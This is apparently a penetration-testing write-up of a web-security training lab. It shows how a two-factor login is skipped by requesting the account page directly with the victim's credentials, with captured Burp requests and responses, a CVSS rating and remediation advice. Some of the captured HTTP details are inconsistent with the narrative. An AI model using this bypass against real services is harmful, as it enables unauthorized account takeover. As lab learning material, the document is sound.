

Penetration Testing Report

Souvik Mondal

Lab Name

2FA simple bypass

Vulnerability Description

The application implements a two-factor authentication (2FA) mechanism that is not consistently enforced on the server side.

Due to flawed authentication logic, an attacker can bypass the 2FA step by directly accessing protected endpoints or reusing a partially authenticated session.


This vulnerability undermines the core purpose of 2FA and allows attackers to gain full account access using only primary credentials.

Tools Used

- Burp Suite (Proxy)
- Web Browser

Approach

- After opening the lab we got this shopping website



Img: SS 1.0

- I logged in with the credentials provided.

Img: SS 1.1

- Received the MFA code in email

Your email address is wiener@exploit-0a8c0060030cda67824a2378012d00c8.exploit-server.net

Displaying all emails @exploit-0a8c0060030cda67824a2378012d00c8.exploit-server.net and all subdomains

Sent	To	From	Subject	Body
2026-01-11 04:56:17 +0000	wiener@exploit-0a8c0060030cda67824a2378012d00c8.exploit-server.net	no-reply@0a8f00b20376da2682a8244e000500e.web-security-academy.net	Hello!	Your security code is 1173. <small>Please enter this in the app to continue.</small>

Thanks,
Support team

Img: SS 1.2

- Logged in using the MFA code in wieners account.

2FA simple bypass

Email client Back to lab description >

LAB Not solved

Home | My account | Log out

My Account

Your username is: wiener
Your email is: wiener@exploit-0a8c0060030cda67824a2378012d00c8.exploit-server.net

Email

Update email

img: SS 1.3

- Now logging into Carlos account (victim)

2FA simple bypass

Email client Back to lab description >

LAB Not solved

Login

Username
carlos

Password

Log in

img: SS 1.4

- Intercepted the request in burp “Http history”.

Request

```

POST /login HTTP/2
Host: 0a8f00b20376da2682a8244e000500ce.web-security-academy.net
Cookie: sessionid=c5kv0ka42DjfunvK07exQgJ7ng
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
Origin: https://0a8f00b20376da2682a8244e000500ce.web-security-academy.net
Referer: https://0a8f00b20376da2682a8244e000500ce.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, l
Te: trailers
username=carlos&password=montoys

```

Response

```

HTTP/2 400 Bad Request
Content-Type: application/json; charset=UTF-8
Content-Length: 10
Connection: keep-alive
Date: Mon, 28 Jan 2024 10:56:28 GMT
Server: Apache/2.4.42 (Ubuntu)
Set-Cookie: sessionid=nC7Hk6ZEEY1Yok10F5Mnf104oWwH; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

```

Inspector

img: SS 1.5

- Sent the request to burp “repeater” and changed the endpoint from “login2” to “my-account” and then we requested in browser.

Request

```

POST /my-account HTTP/2
Host: 0a8f00b20376da2682a8244e000500ce.web-security-academy.net
Cookie: sessionid=c5kv0ka42DjfunvK07exQgJ7ng
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/svg+xml,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 32
Origin: https://0a8f00b20376da2682a8244e000500ce.web-security-academy.net
Referer: https://0a8f00b20376da2682a8244e000500ce.web-security-academy.net/login
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Priority: u=0, l
Te: trailers
username=carlos&password=montoys

```

Response

```


HTTP/2 302 Found
Content-Type: application/json; charset=UTF-8
Content-Length: 10
Connection: keep-alive
Date: Mon, 28 Jan 2024 10:56:28 GMT
Server: Apache/2.4.42 (Ubuntu)
Set-Cookie: sessionid=nC7Hk6ZEEY1Yok10F5Mnf104oWwH; Secure; HttpOnly; SameSite=None
X-Frame-Options: SAMEORIGIN
Content-Length: 0

```

Inspector

img: SS 1.6

- Hence, the lab is solved.



Img: SS 1.7

CVSS Vector

AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Severity

High

Impact

An attacker can gain unauthorized access to user accounts by bypassing the second authentication factor, significantly increasing the risk of account takeover even when 2FA is enabled.

Key Finding

- The application did not strictly enforce completion of the 2FA step before granting access
- Authentication state could be reused or bypassed by directly accessing protected endpoints

- The 2FA mechanism was implemented as a workflow step rather than a mandatory security control
- This resulted in a complete bypass of the second authentication factor

Outcome

- Successfully bypassed the 2FA verification step
- Gained authenticated access using only valid username and password
- Demonstrated that the 2FA control was ineffective due to broken authentication logic

Remediation

- Enforce 2FA validation strictly on the server side before granting authenticated access
- Bind session state to successful completion of all authentication factors
- Prevent access to protected endpoints until 2FA verification is complete
- Implement centralized authorization checks for authentication status
- Regularly test authentication workflows for logic-based bypasses